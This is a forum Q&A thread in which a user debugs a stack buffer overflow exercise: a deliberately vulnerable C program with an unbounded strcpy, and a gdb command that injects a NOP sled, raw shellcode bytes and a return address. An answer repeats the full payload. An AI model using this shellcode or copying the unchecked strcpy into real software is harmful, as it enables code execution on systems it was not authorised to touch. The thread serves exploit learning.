0
votes

I'm trying to pass shellcode as the command-line argument in a C program. But gdb keeps giving me SyntaxError. What am I doing wrong?

Below are the contents of the C program and the shellcode:

vulnerable.c

#include <stdio.h>
#include <string.h>

void evilfunction(char *input)
{
    char buffer[1000];
    strcpy(buffer, input); 
}

int main(int arc, char** argv)
{
    evilfunction(argv[1]);
    return 0;
}

The command I'm running on gdb is:

run $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”')
1
Have you tried replacing those typographic quotes with ordinary ones?DCoder

1 Answers

1
votes

You are trying to use shell syntax at the GDB prompt. As you've discovered, GDB doesn't support shell syntax for subcommands. Try this instead:

gdb --args ./a.out $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”')
(gdb) run